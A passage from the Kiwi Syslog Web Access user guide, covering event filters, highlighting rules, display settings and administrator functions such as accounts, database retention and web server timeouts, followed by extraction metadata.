Level, Emerg, Alert, Crit, Warn`. 9. Click Save. 5.6 Delete a filter To delete a filter, click the **Delete** button in the Filters toolbar. Kiwi Syslog Web Access will ask for confirmation before the filter is deleted. 5.7 Filter properties Filters in Kiwi Syslog Web Access consist of a collection of filter items that are evaluated in order, from the top-most filter item. Filter items are logically joined together using the specified logical join operator (the right-most button in each filter item). Allowable logical join operators are AND and OR. Filters can be shared by marking them public. This is done by checking the "Is Public" checkbox, next to the Filter Event Type selection box. Public filters appear on the Events page in the Filter selection box with this icon: To add new filter items, click the Add Filter Item button. - Filter Field The syslog event field to which the filter criteria will be applied. - **Date** - **Time** - **Facility** - **Level** - **Host name** - **Message text** - **Predicate** - **IS** - **IS NOT** - **Field Operator** - **Equal to** - **Less than** - **Less than or equal to** - **Greater than** - **Greater than or equal to** - **Like** - **Between** - **Null** - **Filter Expression** The expression that will be evaluated. Relates to the specified Filter field. To test the filter, click the **Test Filter** button. You will see the following message in the status bar if the filter test was successful. ![Filter test successful] To save the filter, click the **Save Filter** button. ## 6 Highlighting This chapter provides information and guidance relating to the **Highlighting** page in Kiwi Syslog Web Access. The following topics can be found in this chapter: - See **Overview** for a general overview of the **Highlighting** page. - See **Import highlighting** for information on importing a new filter. - See **Export highlighting** for information on exporting an existing filter. ### 6.1 Overview The highlighting options available in Kiwi Syslog Web Access enable the user to specify a set of highlighting rules which will be applied to each syslog event that is displayed on the Events page. Highlighting rules are evaluated from the top-down, and any syslog events which match a given rule will have the given highlight-effects applied. **Event Highlighting Rules** Lists the highlighting rules that will be applied to each syslog message that is to be displayed. The syslog message field that will be searched, the string pattern that will be searched for, and the effect to be applied are specified in the **Highlight Properties** section. Each rule can be activated/deactivated by respectively checking/unchecking the checkboxes leftmost on each row of the list. **Highlight Properties** The list of fields available in the Event Field drop-down box relate to the selected Event Type*. Highlighting rules can be added/deleted by clicking the buttons Add new and Delete. Rule precedence can be changed as well, by clicking the Move up/Move down buttons. *The current version of Kiwi Syslog Web Access supports only Kiwi Syslog Server Event types. String to match The string pattern that will be searched for in the selected Event field. Regular Expression If checked, this option specifies if the string to match is a regular expression. Ignore Case If checked, the search pattern (string to match) will be treated as case insensitive. Highlight Effects Foreground Color The foreground color selected will be applied, and override any existing foreground color. Background Color The background color selected will be applied, and override any existing background color. Bold Font The font weight will be bold. Italic Font The font style will be italicised. Underline Font The font will be underlined. Font Family The font family. Font Size The size of the font. Apply this effect to the whole event (all fields in matching row) If this option is selected then the specified highlighting style will be applied to every field in the Events grid (not just the selected Event Field). 6.2 **Import highlighting** To import highlighting, click the **Import** button on the **Highlighting** page. Select the highlighting to import when the Import Highlighting dialog appears. Kiwi Syslog Web Access Highlighting has the `.ksh` extension by default. --- 6.3 **Export highlighting** To export highlighting, click the **Export** button on the **Highlighting** page. Select the location to save the highlighting to. Kiwi Syslog Web Access Highlighting has the `.ksh` extension by default. --- Kiwi Syslog Web Access provides the ability to share your highlighting with your colleagues at Thwack. To share your highlighting: 1. Click [here](#). 2. On the Upload File web page, click Specify File/URL. 3. Click Upload File, and then click Browse. 4. Navigate to the highlighting file you exported, and then click Open. 5. Click Save. 6. Enter a descriptive name for your highlighting. For example, Syslog Priority Level Highlighting. 7. Provide a description of your highlighting rules. 8. Provide Tags so people can find your highlighting rules with a quick scan. For example, enter Syslog, Priority, Level. 9. Click Save. 7 **Settings** This chapter provides information and guidance relating to the **Settings** page in Kiwi Syslog Web Access. The following topics can be found in this chapter: - See [Overview](#) for a general overview of the Highlighting page. 7.1 **Overview** **General Settings:** The following settings can be configured: - **Rows per page** The number of rows displayed in the events grid on a single page. - **Page refresh rate** The interval between automatically refreshing the events grid. - **Events grid font** The default font that events will be rendered in. - **URLsense** If enabled, URLsense will automatically sense URLs contained within the event message, and provide an active hyperlink to the web resource from within the Events grid. 8.1 Overview Access to the Admin page in Kiwi Syslog Web Access is restricted to Administrators only. Standard users are prohibited from accessing the Admin page. The Admin page provides an Administrator the ability to: - Add new accounts - Reset existing account passwords - Delete accounts - Alter the Database maintenance policy - Alter the Session and Execution timeouts Account Maintenance: Several Administrative or Standard users can be configured in Kiwi Syslog Web Access. The account maintenance section allows for the creation and deletion of user accounts, as well as password resetting. Database Maintenance: Administrators can modify the database maintenance policy that Kiwi Syslog Web Access uses. The default maximum capacity of the Kiwi Syslog Web Access database is 4096MB*. *Maximum data storage for event age based restrictions is also 4096MB. Website Configuration Settings: Administrators can modify the website configuration that Kiwi Syslog Web Access uses. **Note:** Making changes to these settings requires restarting the Web Server. Server restart takes approx. 30 seconds to complete, during which time the website will be unable to service requests. 8.2 **Add an account** To add a new account click the **Add New Account** button in the Account maintenance grid toolbar. Enter a name, password and select a role for the new account when the Add Account dialog appears. Roles: - Administrators - All access - Standard Users - No access to the 'Admin' page. 8.3 **Reset password** To reset the password of an account, select an account by checking the checkbox and click on the Reset Password button. You can only reset one account password at a time. Enter (and confirm) the new password when the **Reset Password** dialog appears. 8.4 **Delete account(s)** You can delete multiple accounts in Kiwi Syslog Web Access Account Maintenance by checking more than one account, and clicking the Delete button. The Account deletion confirmation dialog will then appear: The Database Maintenance options available in Kiwi Syslog Web Access allow an Administrator to control the event database restrictions. The event database in Kiwi Syslog Web Access can be configured for either Size-based or Age-based restriction. **Maximum Database Size:** Specifies the maximum storage capacity that allowed for Kiwi Syslog Web Access. When this size limit is reached, Kiwi Syslog Web Access will delete the oldest events (where the storage of these would exceed this limit). Eg. If the Maximum Database Size is configured as 4096MB, the event storage in Kiwi Syslog Web Access is implemented as a rolling 4096MB. Acceptable values are in the range 256MB to 4096MB. **Maximum Event Age:** Specifies the maximum event age that is allowed for Kiwi Syslog Web Access. Events that are older than this will be deleted*. Acceptable values are in the range 1 day to 365 days, and unlimited* *Maximum data storage capacity of Kiwi Syslog Web Access is 4096MB. 8.6 Website Configuration The Website Configuration options available in Kiwi Syslog Web Access allow an Administrator to control the Session and Execution timeouts of ASP.NET. **Session Timeout:** Specifies the length of time a session can be idle before it is abandoned. Acceptable values are in the range 30 minutes to 24 hours. The default session timeout is 8 hours. **Execution Timeout:** Specifies the length of time a request is allowed to execute before being automatically shut down by ASP.NET. This setting is particularly useful when you have a lot of event data and complex filters defined, that result in long-running queries. Acceptable values are in the range 5 minutes to 60 minutes. The default execution timeout is 5 minutes. ![Website Configuration Settings](image) **Note:** Making changes to these settings requires restarting the Web Server. Server restart takes approx. 30 seconds to complete, during which time the website will be unable to service requests. ![Applying new website configuration, please wait...](image)
{"Source-Url": "http://www.docum-enter.com/get/h3O-boThMLFbhIOgKoYI3IWX5iffAMdW9aqFBkq-A04,/169-2015-SolarWinds-Inc-Configuration-Management.pdf", "len_cl100k_base": 9727, "olmocr-version": "0.1.53", "pdf-total-pages": 36, "total-fallback-pages": 0, "total-input-tokens": 56667, "total-output-tokens": 11284, "length": "2e13", "weborganizer": {"__label__adult": 0.0002560615539550781, "__label__art_design": 0.0004301071166992187, "__label__crime_law": 0.0004658699035644531, "__label__education_jobs": 0.0006275177001953125, "__label__entertainment": 0.00013697147369384766, "__label__fashion_beauty": 0.00010603666305541992, "__label__finance_business": 0.001293182373046875, "__label__food_dining": 0.00011622905731201172, "__label__games": 0.0008721351623535156, "__label__hardware": 0.0011548995971679688, "__label__health": 9.673833847045898e-05, "__label__history": 0.00012814998626708984, "__label__home_hobbies": 0.0001074671745300293, "__label__industrial": 0.00019359588623046875, "__label__literature": 0.000152587890625, "__label__politics": 0.0001589059829711914, "__label__religion": 0.0002415180206298828, "__label__science_tech": 0.002429962158203125, "__label__social_life": 0.00011843442916870116, "__label__software": 0.46630859375, "__label__software_dev": 0.5244140625, "__label__sports_fitness": 0.00014591217041015625, "__label__transportation": 0.00015854835510253906, "__label__travel": 0.00018286705017089844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47714, 0.0204]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47714, 0.06231]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47714, 0.81858]], "google_gemma-3-12b-it_contains_pii": [[0, 49, false], [49, 49, null], [49, 2951, null], [2951, 4064, null], [4064, 5292, null], [5292, 6128, null], [6128, 8747, null], [8747, 12609, null], [12609, 16204, null], [16204, 19524, null], [19524, 22873, null], [22873, 24975, null], [24975, 26774, null], [26774, 29196, null], [29196, 30163, null], [30163, 31886, null], [31886, 32802, null], [32802, 33280, null], [33280, 33726, null], [33726, 33930, null], [33930, 34646, null], [34646, 35082, null], [35082, 36395, null], [36395, 36881, null], [36881, 37876, null], [37876, 38589, null], [38589, 39004, null], [39004, 40456, null], [40456, 41762, null], [41762, 42377, null], [42377, 43676, null], [43676, 44281, null], [44281, 44867, null], [44867, 45629, null], [45629, 46663, null], [46663, 47714, null]], "google_gemma-3-12b-it_is_public_document": [[0, 49, true], [49, 49, null], [49, 2951, null], [2951, 4064, null], [4064, 5292, null], [5292, 6128, null], [6128, 8747, null], [8747, 12609, null], [12609, 16204, null], [16204, 19524, null], [19524, 22873, null], [22873, 24975, null], [24975, 26774, null], [26774, 29196, null], [29196, 30163, null], [30163, 31886, null], [31886, 32802, null], [32802, 33280, null], [33280, 33726, null], [33726, 33930, null], [33930, 34646, null], [34646, 35082, null], [35082, 36395, null], [36395, 36881, null], [36881, 37876, null], [37876, 38589, null], [38589, 39004, null], [39004, 40456, null], [40456, 41762, null], [41762, 42377, null], [42377, 43676, null], [43676, 44281, null], [44281, 44867, null], [44867, 45629, null], [45629, 46663, null], [46663, 47714, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47714, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47714, null]], "pdf_page_numbers": [[0, 49, 1], [49, 49, 2], [49, 2951, 3], [2951, 4064, 4], [4064, 5292, 5], [5292, 6128, 6], [6128, 8747, 7], [8747, 12609, 8], [12609, 16204, 9], [16204, 19524, 10], [19524, 22873, 11], [22873, 24975, 12], [24975, 26774, 13], [26774, 29196, 14], [29196, 30163, 15], [30163, 31886, 16], [31886, 32802, 17], [32802, 33280, 18], [33280, 33726, 19], [33726, 33930, 20], [33930, 34646, 21], [34646, 35082, 22], [35082, 36395, 23], [36395, 36881, 24], [36881, 37876, 25], [37876, 38589, 26], [38589, 39004, 27], [39004, 40456, 28], [40456, 41762, 29], [41762, 42377, 30], [42377, 43676, 31], [43676, 44281, 32], [44281, 44867, 33], [44867, 45629, 34], [45629, 46663, 35], [46663, 47714, 36]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47714, 0.02955]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
b6cea329189aaa6827fc87235f17c94a3bb790fd
[REMOVED]
{"Source-Url": "https://hal.science/hal-01437734/file/final_version.pdf", "len_cl100k_base": 11259, "olmocr-version": "0.1.50", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 51358, "total-output-tokens": 13676, "length": "2e13", "weborganizer": {"__label__adult": 0.0004181861877441406, "__label__art_design": 0.0007715225219726562, "__label__crime_law": 0.0006031990051269531, "__label__education_jobs": 0.0016727447509765625, "__label__entertainment": 0.0001474618911743164, "__label__fashion_beauty": 0.00025582313537597656, "__label__finance_business": 0.0005016326904296875, "__label__food_dining": 0.0004589557647705078, "__label__games": 0.0009016990661621094, "__label__hardware": 0.0012521743774414062, "__label__health": 0.0010938644409179688, "__label__history": 0.0006031990051269531, "__label__home_hobbies": 0.00018215179443359375, "__label__industrial": 0.0008220672607421875, "__label__literature": 0.000438690185546875, "__label__politics": 0.0004661083221435547, "__label__religion": 0.00069427490234375, "__label__science_tech": 0.3232421875, "__label__social_life": 0.00018286705017089844, "__label__software": 0.01316070556640625, "__label__software_dev": 0.650390625, "__label__sports_fitness": 0.0004572868347167969, "__label__transportation": 0.0008134841918945312, "__label__travel": 0.0002872943878173828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47008, 0.05181]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47008, 0.50094]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47008, 0.8553]], "google_gemma-3-12b-it_contains_pii": [[0, 391, false], [391, 3248, null], [3248, 6883, null], [6883, 10288, null], [10288, 12512, null], [12512, 16229, null], [16229, 19359, null], [19359, 22802, null], [22802, 25726, null], [25726, 29172, null], [29172, 32436, null], [32436, 35802, null], [35802, 38996, null], [38996, 41720, null], [41720, 44771, null], [44771, 47008, null]], "google_gemma-3-12b-it_is_public_document": [[0, 391, true], [391, 3248, null], [3248, 6883, null], [6883, 10288, null], [10288, 12512, null], [12512, 16229, null], [16229, 19359, null], [19359, 22802, null], [22802, 25726, null], [25726, 29172, null], [29172, 32436, null], [32436, 35802, null], [35802, 38996, null], [38996, 41720, null], [41720, 44771, null], [44771, 47008, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47008, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47008, null]], "pdf_page_numbers": [[0, 391, 1], [391, 3248, 2], [3248, 6883, 3], [6883, 10288, 4], [10288, 12512, 5], [12512, 16229, 6], [16229, 19359, 7], [19359, 22802, 8], [22802, 25726, 9], [25726, 29172, 10], [29172, 32436, 11], [32436, 35802, 12], [35802, 38996, 13], [38996, 41720, 14], [41720, 44771, 15], [44771, 47008, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47008, 0.124]]}
olmocr_science_pdfs
2024-11-27
2024-11-27